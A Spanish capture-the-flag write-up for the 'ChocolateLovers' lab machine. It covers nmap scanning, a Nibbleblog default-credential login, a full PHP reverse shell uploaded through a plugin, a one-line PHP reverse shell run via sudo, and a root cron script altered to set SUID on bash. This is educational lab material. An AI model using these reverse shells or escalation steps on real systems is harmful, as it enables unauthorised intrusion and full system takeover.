> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/chocolatelovers-write-up.md).

# ChocolateLovers write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/H3yzawUq2FqiVObuHYXA" alt=""><figcaption></figcaption></figure>

## **Realizamos un escaneo de puertos abierto de la máquina víctima**

Utilizamos la herramienta **nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -O -Pn -n 172.17.0.2
```

<figure><img src="/files/3fO4em12VBByg9wK04HA" alt=""><figcaption></figcaption></figure>

El escaneo indica que el puerto 80 (HTTP) está abierto. Así que ingresamos la IP de la máquina víctima en el navegador y vemos una plantilla predeterminada de apache:

<figure><img src="/files/2GcUFeFzpxC6KCKNE1t1" alt=""><figcaption></figcaption></figure>

Pero si nos vamos al código fuente (`Ctrl + u`) encontramos lo siguiente:

<figure><img src="/files/LyA0nreMtmfSkwRk1psR" alt=""><figcaption></figcaption></figure>

Esto indica que se está usando `nibbleblog` que es un sistema de gestión de contenido (CMS) ligero y sencillo diseñado para la creación de blogs. Así que lo que vamos a hacer es introducir la ruta `http://172.17.0.2/nibbleblog` en el navegador. Y vemos lo siguiente:

<figure><img src="/files/GpzKPbHOkvyWPmlK9kyT" alt=""><figcaption></figcaption></figure>

Así que hacemos clic en `http://172.17.0.2/nibbleblog/admin.php` para entrar al panel de login.

<figure><img src="/files/nKcAiiuxrs1ZTy9bnE3z" alt=""><figcaption></figcaption></figure>

Ahora vamos a probar el usuario y contraseña predeterminada que es `admin:admin` y vemos que nos permite iniciar sesión.

<figure><img src="/files/PmpRoCdTEGVEs8VLjiF6" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/p7fLZSglzGMx0fKfNPLd" alt=""><figcaption></figcaption></figure>

Ahora lo que haremos es buscar la manera de subir un archivo malicioso que al ejecutarlo nos envíe una reverse shell. Así que primero nos vamos a ir al apartado de plugins, después vamos a instalar el plugin `My image`.

<figure><img src="/files/hh5HWbqiDtJJy45pIPJs" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/lm7jqY5vWqzXIadlPchc" alt=""><figcaption></figcaption></figure>

Ahora nos mostrará lo siguiente:

<figure><img src="/files/QUSLxHh7lvUaR5lT3XMh" alt=""><figcaption></figcaption></figure>

Así que vamos a hacer un archivo malicioso en PHP que nos envíe una shell interactiva con lo siguiente:

```php
<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '172.17.0.1';  // CHANGE THIS
$port = 444;       // CHANGE THIS
$chunk_size = 1400;
$shell = 'uname -a; w; id; /bin/bash -i';
$contador = 0;
$debug = 0;
$daemon = 0;
$welcome_message = "  \033[1;34m_____   _   _   _____   _   _   _  __  _____   
 / ____| | | | | |_   _| | \ | | | |/ / |_   _|  
| (___   | |_| |   | |   |  \| | | ' /    | |    
 \___ \  |  _  |   | |   | . ` | |  <     | |    
 ____) | | | | |  _| |_  | |\  | | . \   _| |_   
|_____/  |_| |_| |_____| |_| \_| |_|\_\ |_____|  \033[0m\n";

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);


// Mostrar mensaje de bienvenida a la shell

fwrite($sock, $welcome_message);



while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

    $read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}

}
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>  
```

<figure><img src="/files/NcQ3ydXGG3m8vLyNimqP" alt=""><figcaption></figcaption></figure>

Y lo vamos a subir dando clic al botón de examinar y guardamos los cambios.

<figure><img src="/files/9h9GDxoAl29N2NR2FW8m" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/tQMkwGqJXBX2zC3ds4N9" alt=""><figcaption></figcaption></figure>

Ahora vamos a hacer fuzzing web con la herramienta **Dirb** para buscar donde se subió el archivo y así poder ejecutarlo con el siguiente comando:

```bash
dirb http://172.17.0.2/nibbleblog/ -w
```

<figure><img src="/files/jUXVBtM3ge5L03aSV5RE" alt=""><figcaption></figcaption></figure>

Y vemos que nos encuentra el directorio `http://172.17.0.2/nibbleblog/content/private/plugins/`, así que introducimos esa ruta en el navegador y nos aparece los siguiente:

<figure><img src="/files/fGHCnlt03zwYQnbTO7KA" alt=""><figcaption></figcaption></figure>

Entramos al directorio `my_image` y nos encontramos con el fichero que hemos subido `image.php`, así que ahora nos ponemos en escucha con netcat y hacemos clic en el fichero.

```bash
sudo nc -nvvlp 444
```

<figure><img src="/files/6SCKyPQ1A0Y17MeMdbes" alt=""><figcaption></figcaption></figure>

Y ya estaríamos dentro de la máquina víctima.

## **Escalada de privilegios**

Una vez dentro de la máquina víctima y después de haber hecho el tratamiento de la TTY ejecutamos el comando `sudo -l` el cual nos indica que podemos ejecutar el binario `/usr/bin/php` como el usuario `chocolate` sin necesidad de contraseña. Así que vamos a crear un archivo php en el directorio `/tmp` que contenga lo siguiente:

```php
<?php
$sock = fsockopen("172.17.0.1", 443); if ($sock) { shell_exec("/bin/bash <&3 >&3 2>&3"); } 
?>
```

Ahora nos ponemos en escucha con **netcat** por el puerto 443 y ejecutamos el fichero con el siguiente comando:

```bash
sudo -u chocolate /usr/bin/php archivo.php
```

<figure><img src="/files/PcEHxpat8PcaFLUJXeug" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/mF2ptRNssRtzos5xPKJ9" alt=""><figcaption></figcaption></figure>

Ahora hacemos otra vez el tratamiento de la TTY y ejecutamos el siguiente comando para ver los procesos que se están ejecutando:

```bash
ps aux | cat
```

<figure><img src="/files/f8sq9OOMxfI5kTroUsjR" alt=""><figcaption></figcaption></figure>

Si nos fijamos se está ejecutando el script `/opt/script.php` cada 5 segundos como usuario root. Así que vamos a cambiar el contenido del fichero para otorgarle permisos SUID al binario `/bin/bash`.

```php
<?php
shell_exec("chmod u+s /bin/bash")
?>
```

<figure><img src="/files/LT4IpQ5J0BH5BFWJpuOy" alt=""><figcaption></figcaption></figure>

Finalmente, ejecutamos el comando `bash -p` para obtener una shell con privilegios elevados.

<figure><img src="/files/a49xGOBEJ0IwhLqHbOzo" alt=""><figcaption></figcaption></figure>
